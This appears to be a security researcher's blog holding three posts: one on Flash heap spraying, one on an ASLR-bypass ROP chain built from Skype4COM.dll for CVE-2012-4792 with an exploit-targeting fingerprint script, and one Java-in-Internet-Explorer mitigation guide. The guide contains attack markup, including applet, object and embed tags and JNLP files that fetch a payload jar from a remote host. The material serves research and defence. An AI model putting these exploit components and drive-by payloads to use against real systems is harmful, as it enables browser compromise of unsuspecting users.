Exploits

It’s been a while since my last post so I thought I’d post this article on heap spraying using Adobe Flash which I have been working on to get a better understanding of the ActionScript language, hopefully it will benefit some readers to test their security layers in their own environment.

After analysing some actual exploits which were using Flash to spray the heap I decided to use the relevant code and started customising it for my own testing purposes. I was surprised that a handful of Endpoint Protection products I tested on failed to detect any sort of heap spray. Spraying using JavaScript or DEPS does however get detected but I’m not sure how it well it would stand if the code were to be obfuscated. Below is a screenshot of the ActionScript spray so you get the idea.

A good portable tool to decompile flash files which I use is “AS3 Sorcerer”. There are some nice features, definitely worth the purchase.

“ActionScript Extractor” is another good and free portable tool but has a bug as when decompiling certain flash files triggers a crash. I didnt investigate this issue if its exploitable so be careful using this tool. Also you’ll most likely need to make more corrections to the code if wanting to recompile again.

I did a quick test on all the major browsers spraying 100 times with 1mb chunks. In the image below it’s interesting to see its child processes of each of the browsers and different integrity levels. Bypassing browser sandboxes is something I’ll be researching in the future so if I do discover anything interesting I’ll be sure to blog about it.

Finally here is the code and examples you can download from here. Password is “exploit” and MD5 hash is 98afdc19007a65be636cc0a8d9fe8d9d .  It includes the exploit for IE’s CVE-2012-4792 using JavaScript, DEPS and Flash. You can use SWFTools as3compile.exe to compile but I mainly used Adobe’s Flex SDK. Here is the direct link for version 4.6.

References:

http://www.adobe.com/devnet/flex/flex-sdk-download-all.html
https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/
http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/utils/ByteArray.html

While investigating an unrelated issue using SysInternals Autoruns tool I spotted a couple of protocol handlers installed on the system by Skype. Knowing that protocol handlers can be loaded by Internet Explorer without any prompts I decided to check if these libraries have there dynamic base bits set. It turns out that the “skype4com.dll” library has not which means it could be used to bypass Windows ASLR so I got to work writing my rop chain and testing it out.

A quick test to see if it indeed loads up can be done from the code below

<SCRIPT language="JavaScript">  
location.href = 'skype4com:'
</SCRIPT>

Filename - Skype4COM.dll
Path     - C:\Program Files\Common Files\Skype\
MD5 hash - 6e04c50ca4a3fa2cc812cd7ab84eb6d7
Size     - 2,156,192 bytes
Signed   - 03 November 2011 11:46:40
Version  - 1.0.38.0

and here is my rop chain without any nulls.

 0x28025062   # POP EBX # RETN
 0xa13fcde1   # 0xA13FCDE1
 0x28024f71   # POP EAX # RETN
 0x5ec03420   # 0x5EC03420
 0x28027b5c   # ADD EBX,EAX # XOR EAX,EAX # RETN (EBX=0x201, 513 bytes)
 0x28024f71   # POP EAX # RETN
 0xa13fcde1   # 0xA13FCDE1
 0x280b4654   # ADD EAX,5EC0325F # RETN
 0x28099a83   # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN (EDX=0x40)
 0x41414141   # Compensate
 0x28017271   # POP ECX # RETN
 0x280de198   # VirtualProtect() pointer [IAT]
 0x28027b5b   # MOV EAX,DWORD PTR DS:[ECX] # RETN
 0x28041824   # XCHG EAX,ESI # ADD EAX,48C48300 # RETN 0x08
 0x2806405a   # POP EBP # RETN
 0x41414141   # Compensate
 0x41414141   # Compensate
 0x280bc55b   # & push esp # ret 
 0x28017271   # POP ECX # RETN
 0x28126717   # &Writable location
 0x28098730   # POP EDI # RETN
 0x28098731   # RETN (ROP NOP)
 0x28024f71   # POP EAX # RETN
 0x90909090   # nop
 0x28043527   # PUSHAD # RETN

I’ve created an exploit using this rop chain on the “CButton Object Use-After-Free vulnerability” (CVE-2012-4792) taken from Metasploit. It has been tested on Windows 7 Enterprise (32bit) in VM with the latest version of Skype installed (6.2.59.106). The exploit can be downloaded from here, the password is “exploit” and the md5 hash of the zip file is 4d5735ff26b769abe1b02f74e2871911

Mitigation? Well I said it before and I’ll say it again . . . “EMET” your machines ASAP :-)

On something off topic, I was looking at the html code posted on Pastebin for the CVE-2012-4792 exploit and liked the way it checked to see if Office 2010 or 2007 was installed. Some blog posts weren’t as clear as to what the Office check routine was actually doing but really it was just determining which hxds.dll version to use for its rop chain for the Office version it detected. (I haven’t got the actual exploit files to confirm though but I’m pretty sure).

For Office 2010 it installs 4 OpenDocuments ActiveX objects

SharePoint.OpenDocuments.4
SharePoint.OpenDocuments.3
SharePoint.OpenDocuments.2
SharePoint.OpenDocuments.1

and Office 2007 only 3

SharePoint.OpenDocuments.3
SharePoint.OpenDocuments.2
SharePoint.OpenDocuments.1

So basically if the JavaScript is able to load “SharePoint.OpenDocuments.4″ then it knows that it’s Office 2010. Since these ActiveX controls can be run without permissions no prompts are given. Below is a simple script that could be used if say in this example checking Windows 7 with IE8 has got installed Office 2007/2010 or Java 6. No Skype ActiveX controls gets installed that can be run without permissions so I couldn’t work out how to check if Skype is installed without triggering prompts in Internet Explorer. If you do know how to check without triggering prompts please do share.

<HTML>
<SCRIPT language="JavaScript"> 
//
//
if (CheckIEOSVersion() == "ie8w7")
{
   if (CheckOfficeVersion() == "Office2010")
   {
//     Exploit call here
   }
   else if (CheckOfficeVersion() == "Office2007")
   {
//     Exploit call here
   }
   else if (JavaVersion() == "Java6")
   {
//     Exploit call here
   }
   else if (SkypeCheck() == "")
   {
//     Exploit call here
   }
}
//
//
function CheckIEOSVersion()
{
   var agent = navigator.userAgent.toUpperCase();
   var os_ie_ver = "";
//
   if ((agent.indexOf('NT 5.1') > -1)&&(agent.indexOf('MSIE 7') > -1)) 
      os_ie_ver = "ie7wxp";  
   if ((agent.indexOf('NT 5.1') > -1)&&(agent.indexOf('MSIE 8') > -1))
      os_ie_ver = "ie8wxp";
   if ((agent.indexOf('NT 6.0') > -1)&&(agent.indexOf('MSIE 7') > -1))
      os_ie_ver = "ie7wv";   
   if ((agent.indexOf('NT 6.0') > -1)&&(agent.indexOf('MSIE 8') > -1)) 
      os_ie_ver = "ie8wv";
   if ((agent.indexOf('NT 6.1') > -1)&&(agent.indexOf('MSIE 8') > -1)) 
      os_ie_ver = "ie8w7";   
   if ((agent.indexOf('NT 6.1') > -1)&&(agent.indexOf('MSIE 9') > -1)) 
      os_ie_ver = "ie9w7";
   if ((agent.indexOf('NT 6.2') > -1)&&(agent.indexOf('MSIE 10') > -1)) 
      os_ie_ver = "ie10w8"; 
   return os_ie_ver;
}
//
//
function CheckOfficeVersion()
{
   var offver = "";
   var checka = 0;
   var checkb = 0;
//
   try {
         checka = new ActiveXObject("SharePoint.OpenDocuments.4");  
   } catch (e) {}
   try {
         checkb = new ActiveXObject("SharePoint.OpenDocuments.3");  
   } catch (e) {}
//
   if ((typeof checka) == "object" && (typeof checkb) == "object")
     offver = "Office2010";
   else if ((typeof checka) == "number" && (typeof checkb) == "object") 
     offver = "Office2007";
//
   return offver;
}
//
//
function JavaVersion() 
{
   var javver = "";
   var javaa = 0;
//
   try {
         javaa = new ActiveXObject("JavaWebStart.isInstalled.1.6.0.0");  
   } catch (e) {}
//
   if ((typeof javaa) == "object")
       javver = "Java6";
//
   return javver;
}
//
//
function SkypeCheck()
{
   var skypever = "";
   return skypever;
}
//
//
</SCRIPT>
</HTML> 

This year we’ve seen a number of 0 day Java exploits surfacing and various mitigating steps mentioned in various sites that could be taken to prevent us from being compromised. A lot of these mitigating steps vary from each other so when it comes to mitigate Java in Internet Explorer it adds doubt to which is the best mitigation steps to follow. Uninstalling Java would obviously solve the problem but that is not really an option in organisations dependant on Java.

This post describes the mitigating steps available, the tests carried out and how to bypass certain mitigations. The tests have been carried out on a fully patched Windows 7 Enterprise 32bit virtual machine with Internet Explorer 8 and a vulnerable version of Java.

Prevent loading of applet in IE’s “Internet Zone”
This setting disables the loading of Java applets from the Internet zone. There are different keys representing different security zones [3] and the Internet zone has a value of 3.

; First set the URLAction to control APPLET behavior
; Zone 3 is the Internet zone
; 1C00 is the Java invocation policy
; "1C00"=dword:00000000 <-- disable loading of Java applet
; "1C00"=dword:00010000 <-- enable loading of Java applet
;
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"1C00"=dword:00000000

HKEY_CURRENT_USER (HKCU) entry would take priority first. So if disabled in HKEY_LOCAL_MACHINE (HKLM) but enabled in HKCU then you will still be exploited so it is best just to apply the change in HKCU. Any external site attempting to use an applet tag will now not load the applet and a notification bar will be displayed.


This mitigation would only protect from applet tag examples below. With other techniques this mitigation is ineffective.

<APPLET archive="calc.jar" code="Exploit.class" width="1" height="1"></APPLET>
<APPLET code="Exploit.class" width="1" height="1"></APPLET>

Prevent loading of applet in all IE zones
This settings stops the loading of Java in all IE browser zones. This might be a problem internally in organisations which depend on the applet tag.

; "UseJava2IExplorer"=dword:00000000 <-- disable loading of Java applet
; "UseJava2IExplorer"=dword:00000001 <-- enable loading of Java applet
;
[HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Plug-in\10.7.2]
"UseJava2IExplorer"=dword:00000000

An issue with this mitigation is that each time Java is installed the mitigation gets reset to its default value as a new Java version registry key is added.

10.4.0 – Java 7 update 4
10.6.2 – Java 7 update 6
10.7.2 – Java 7 update 7
10.9.2 – Java 7 update 9

Once mitigation has been made a popup would be seen first time.

If the check box is ticked “Do not show this message again” it writes to the registry entry below

[HKEY_CURRENT_USER\Software\Microsoft\Active Setup\Declined Install On Demand IEv5]
"{08B0e5c0-4FCB-11CF-AAA5-00401C608501}"=""

This mitigation only stops exploits using the applet tag, cannot be managed by Internet Explorer zones and any new Java update means you’ll need to update the registry again.

Invoking Java classids via OBJECT tag
Internet Explorer can use the classid attribute OBJECT tag to load Java. Hundreds of Java classids gets registered when Java is installed. One classid is particularly dangerous as it works transparently from the Internet zone without any notification bars or alerts and has been used in actual exploits. The reason being is that this classid gets added in the preapproved list.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{8AD9C840-044E-11D1-B3E9-00805F499D93}

This classid calls the latest installed version of Java Plug-in installed on the machine. Whats interesting is that this classid is already added in Windows 7 preapproved registy key without even Java being installed. To mitigate this classid needs to be killbitted

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{8AD9C840-044E-11D1-B3E9-00805F499D93}]
"Compatibility Flags"=dword:00000400

To exploit it can be called like this

<OBJECT classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" width="1" height="1">
  <PARAM name="code" value="Exploit.class">
</OBJECT>

Another way to mitigate this classid is to disable the Java Plugin’s ActiveX control through IE’s “Manage Add-ons”.

Once disabled it writes to the registry below and settings are retained even after a Java update though I prefer the killbit option.

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{8AD9C840-044E-11D1-B3E9-00805F499D93}]
"Flags"=dword:00000001
"Version"="*"

The hundreds of other classids are mainly for backwards compatibility. So if an older specific version of Java is installed, those can be called using a specific classid, in the example below its calling Java 7 update 7

<OBJECT classid="clsid:CAFEEFAC-0017-0000-0007-ABCDEFFEDCBA" width="1" height="1">
  <PARAM name="code" value="Exploit.class">
</OBJECT>

Or to invoke the latest Java 7 version installed

<OBJECT classid="clsid:CAFEEFAC-0017-0000-FFFF-ABCDEFFEDCBA" width="1" height="1">
  <PARAM name="code" value="Exploit.class">
</OBJECT>

The way the classid versions is worked out is in say CAFEEFAC-xxxx-yyyy-zzzz-ABCDEFFEDCBA, “xxxx”, “yyyy”, and “zzzz” are four-digit numbers to identify the specific version of Java Plug-in to be used. In references [1][2] only a handful of classid’s listed below but actually when Java gets installed it installs hundreds of classids. Click here to see all the CAFEEFAC- classid’s registered on a Java 7 update 4 installation. In these references just killbitting these classids does not make sense as invoking any other classid will give the same two prompts as these ones. (screenshots given further down in  the Java Web Start ActiveX control section). So if you are thinking of killbitting these classids then follow Cert’s recommendation [4] as it kills all classids upto a certain version. A Java update will register newer classids each time so if killbitting these is an option you prefer then you’ll need to keep uptodate.

These classid’s are the only ones mentioned for Java version 7 and upto update 6.

CAFEEFAC-0017-0000-FFFF-ABCDEFFEDCBA
CAFEEFAC-0017-0001-FFFF-ABCDEFFEDCBA
CAFEEFAC-0017-0002-FFFF-ABCDEFFEDCBA
CAFEEFAC-0017-0003-FFFF-ABCDEFFEDCBA
CAFEEFAC-0017-0004-FFFF-ABCDEFFEDCBA
CAFEEFAC-0017-0005-FFFF-ABCDEFFEDCBA
CAFEEFAC-0017-0006-FFFF-ABCDEFFEDCBA
CAFEEFAC-FFFF-FFFF-FFFF-ABCDEFFEDCBA

So CAFEEFAC-0017-0006-FFFF-ABCDEFFEDCBA might have been killbitted but if you know the Java version you are attacking you could use

CAFEEFAC-0017-0000-0006-ABCDEFFEDCBA
CAFEEFAC-0017-0000-0006-ABCDEFFEDCBB
CAFEEFAC-0017-0000-0006-ABCDEFFEDCBC

Another classid registered invokes an old version of Java and to exploit using this classid you’ll have to deal with a third warning window prompt and thiswould come up everytime.
 

To exploit

<HTML>
<OBJECT CLASSID="clsid:E19F9331-3110-11D4-991C-005004D3B3DB" width="1" height="1">
  <PARAM name="code" value="Exploit.class">
</OBJECT>
</HTML>

And to mitigate killbit the control

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{E19F9331-3110-11D4-991C-005004D3B3DB}]
"Compatibility Flags"=dword:00000400

Loading Java via the EMBED tag
Java can also be exploited in Internet Explorer using the EMBED tag. Here applet mitigations is ineffective but killbitting/disabling the ActiveX control 8AD9C840-044E-11D1-B3E9-00805F499D93 as mentioned in previous section mitigates it.

To exploit

<HTML>
  <EMBED code="Exploit.class" type="application/x-java-applet" width="1" height="1"></EMBED>
</HTML>

Here the the mimetype “application/x-java-applet” points back to classid 8AD9C840-044E-11D1-B3E9-00805F499D93

Prevent automatically opening JNLP files via APPLET
Java Network Launch Protocol (JNLP) could also be used for launching applets directly from JNLP files. To launch an applet from a JNLP file the “jnlp_href” parameter would need to be used in the applet tag. This could be used in a transparent driveby attack too.

<HTML>
  <APPLET><param name="jnlp_href" value="mycalc.jnlp"></APPLET>
</HTML>

The jnlp file doesnt need to contain the full url path

<?xml version="1.0" encoding="UTF-8"?>
<jnlp href="mycalc.jnlp">
     <information>
       <title>Calculator</title>
       <vendor>POC</vendor>
     </information>
     <resources>
       <j2se version="1.7+" />
       <jar href="calc.jar" main="true" />
     </resources>
     <applet-desc
         name="Calculator"
         main-class="Exploit"
         width="1"
         height="1">
     </applet-desc>
</jnlp>

When calling the jnlp file via the html file the jnlp file can be any extension so say in the above code mycalc.jnlp could be called mycalc.txt. Since this uses the applet tag the above mitigation on the applet would mitigate this threat.

Double-clicking on a JNLP file
Even with all the browser mitigations in place it doesnt stop an attacker to email a jnlp file to the victim. Just by double-clicking the attachment would compromise the machine.

<?xml version="1.0" encoding="UTF-8"?>
<jnlp href="mycalc.jnlp">
     <information>
       <title>Calculator</title>
       <vendor>POC</vendor>
     </information>
     <resources>
       <j2se version="1.7+" />
       <jar href="http://192.168.1.3/calc.jar" main="true"/>
     </resources>
     <applet-desc
         name="Calculator"
         main-class="Exploit"
         width="1"
         height="1">
     </applet-desc>
</jnlp>

One way to mitigate is to change the file association and/or block jnlp file attachments on your mail relays.

HKLM\SOFTWARE\Classes\JNLPFile\Shell\Open\Command\: “”C:\Program Files\Java\jre7\bin\javaws.exe” “%1″”

Prevent automatically opening JNLP files via mimetype association
Using Java Web Start can be used to open a JNLP file. By default JNLP files open without any interaction from the user. For this to be exploited the web server would have to be configured with the .jnlp file extension to the mimetype “application/x-java-jnlp-file”. Then simply visiting a link say http://192.168.1.3/mycalc.jnlp would compromise your box.

<?xml version="1.0" encoding="utf-8"?>
<jnlp href="mycalc.jnlp" codebase="http://192.168.1.3/">
  <information>
    <title>Calculator</title>
    <vendor>POC</vendor>
  </information>
  <resources>
    <j2se version="1.7+"/>
    <jar href="calc.jar" main="true"/>
  </resources>
  <applet-desc
         name="Calculator"
         main-class="Exploit"
         width="1"
         height="1">
  </applet-desc>
</jnlp>

Signing your own app and using jnlp code below could be used but user interaction is required and you don’t need a vulnerability for this one.

<?xml version="1.0" encoding="utf-8"?>
<jnlp href="mycalc.jnlp" codebase="http://192.168.1.3/">
  <information>
    <title>Calculator</title>
    <vendor>POC</vendor>
  </information>
  <security>
    <all-permissions/>
  </security>
  <resources>
    <jar href="mycalc_signed.jar" main="true"/>
  </resources>
  <application-desc
         name="Calculator"
         main-class="mycalc"
         width="1"
         height="1">
  </application-desc>
</jnlp>

To mitigate we can change the default setting of EditFlags to all zeros which will then prompt the user.

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JNLPFile]
"EditFlags"=dword:00000000

On the Cert advisory EditFlags is a binary value but a dword value can also be used.

Prevent automatically opening JNLP files via ActiveX Control
Using Java Web Start ActiveX control can also be used to run a JNLP file but user interaction is required.

.

To exploit

<HTML>
<OBJECT CLASSID="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" width="1" height="1">
  <PARAM name="app" value="http://192.168.1.3/mycalc.jnlp">
</OBJECT>
</HTML>

and the JNLP file is

<?xml version="1.0" encoding="UTF-8"?>
<jnlp href="mycalc.jnlp">
     <information>
       <title>Calculator</title>
       <vendor>POC</vendor>
     </information>
     <resources>
       <j2se version="1.7+" />
       <jar href="calc.jar" main="true" />
     </resources>
     <applet-desc
         name="Calculator"
         main-class="Exploit"
         width="1"
         height="1">
     </applet-desc>
</jnlp>

To mitigate killbit this classid

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{5852F5ED-8BF4-11D4-A245-0080C6F74284}]
"Compatibility Flags"=dword:00000400

Java Deployment Toolkit ActiveX Controls
This Java Deployment Toolkit classid CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA was exploited in 2010 (CVE-2010-1423). On a fully patched Windows 7 machine this has already been killbitted without even Java being installed and points to an alternate classid CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA. This classid has been killbitted in Cert’s mitigation so its recommended to keep this one killbitted too.

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA}]
"Compatibility Flags"=dword:00000400

Preventing compromise
So what it comes down to is just these few changes on your system prevent it from being compromised automatically by a drive by attack.

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JNLPFile]
"EditFlags"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"1C00"=dword:00000000
[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{8AD9C840-044E-11D1-B3E9-00805F499D93}]
"Compatibility Flags"=dword:00000400
[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA}]
"Compatibility Flags"=dword:00000400

Renaming the “jp2iexp.dll” file would also temporarily mitigate the APPLET and OBJECT tag attack vectors but not the others mentioned. A Java update installation would drop the file back though so bear that in mind.

Other classids that would need some interaction are also best to be killbitted

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{5852F5ED-8BF4-11D4-A245-0080C6F74284}]
"Compatibility Flags"=dword:00000400
[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{E19F9331-3110-11D4-991C-005004D3B3DB}]
"Compatibility Flags"=dword:00000400

Using the latest classids for the Java version would require the user to acknowledge two warnings but once accepted thereafter no warning would be given so killbitting the CAFAEFAC- classids might be worth thinking about in your managed environment. Finally JNLP files could be sent via email so you might want to take a proactive step in blocking jnlp file attachments on your mail relays.

Latest Java release
Following the release of Java 7 update 10 last week I thought I’d do a quick check on its new security features. There is now an updated security tab giving the user now more control on what to do.

Changing the security levels makes changes to the file deployment.properties in location

C:\Users\user1\AppData\LocalLow\Sun\Java\Deployment

By default its set to medium but if changed to low the entry deployment.security.level=LOW is added to the file. Since this is in a low integrity folder this could be changed to LOW settings by a low privileged user.

#deployment.properties
#Wed Dec 19 17:48:16 GMT 2012
deployment.modified.timestamp=1355939296772
deployment.version=7.0
deployment.security.level=LOW
deployment.webjava.enabled=false
#Java Deployment jre's
#Wed Dec 19 17:48:16 GMT 2012
deployment.javaws.jre.0.registered=true
deployment.javaws.jre.0.platform=1.7
deployment.javaws.jre.0.osname=Windows
deployment.javaws.jre.0.path=C\:\\Program Files\\Java\\jre7\\bin\\javaw.exe
deployment.javaws.jre.0.product=1.7.0_10
deployment.javaws.jre.0.osarch=x86
deployment.javaws.jre.0.location=http\://java.sun.com/products/autodl/j2se
deployment.javaws.jre.0.enabled=true
deployment.javaws.jre.0.args=

Un-checking the “Enable Java content in the browser” is quite drastic step as it deletes all classids, mimetypes, jnlp file association, etc. The command that gets run when un-checking and applying is

"C:\PROGRA~1\Java\jre7\bin\ssvagent.exe"  -disablewebjava

This feature would most definitely protect from browser based attacks but also most likely break all your internal apps so not something to implement without thorough testing in an enterprise environment. For home users it gives the flexibility to enable and disable when needed say if you want to do a vulnerability scan which uses Java.

Conclusion
This research has shown that if you dont need Java best to just to uninstall it. If there is a requirement then upgrade to Java 7u10 and uncheck the Java content in the browser settings. Finally follow only Certs advisory [4] or the very least make the few mitigating changes mentioned in the “Preventing compromise” section regardless if you have “Java Content in the browser” enabled or disabled.

References:

[1] http://nakedsecurity.sophos.com/how-to-disable-java-internet-explorer/
[2] http://support.microsoft.com/kb/2751647
[3] http://support.microsoft.com/kb/182569
[4] http://www.kb.cert.org/vuls/id/636312
[5] http://krebsonsecurity.com/how-to-unplug-java-from-the-browser/
[6] http://blogs.msdn.com/b/ieinternals/archive/2011/05/15/controlling-java-in-internet-explorer.aspx
[7] http://docs.oracle.com/javase/1.5.0/docs/guide/plugin/developer_guide/using_tags.html
[9] http://www.oracle.com/technetwork/java/javase/documentation/developersguide-138587.html
[10] http://docs.oracle.com/javase/7/docs/technotes/guides/javaws/developersguide/syntax.html
[11] http://www.oracle.com/technetwork/java/javase/index-142562.html
[12] http://docs.oracle.com/javase/7/docs/technotes/guides/jweb/client-security.html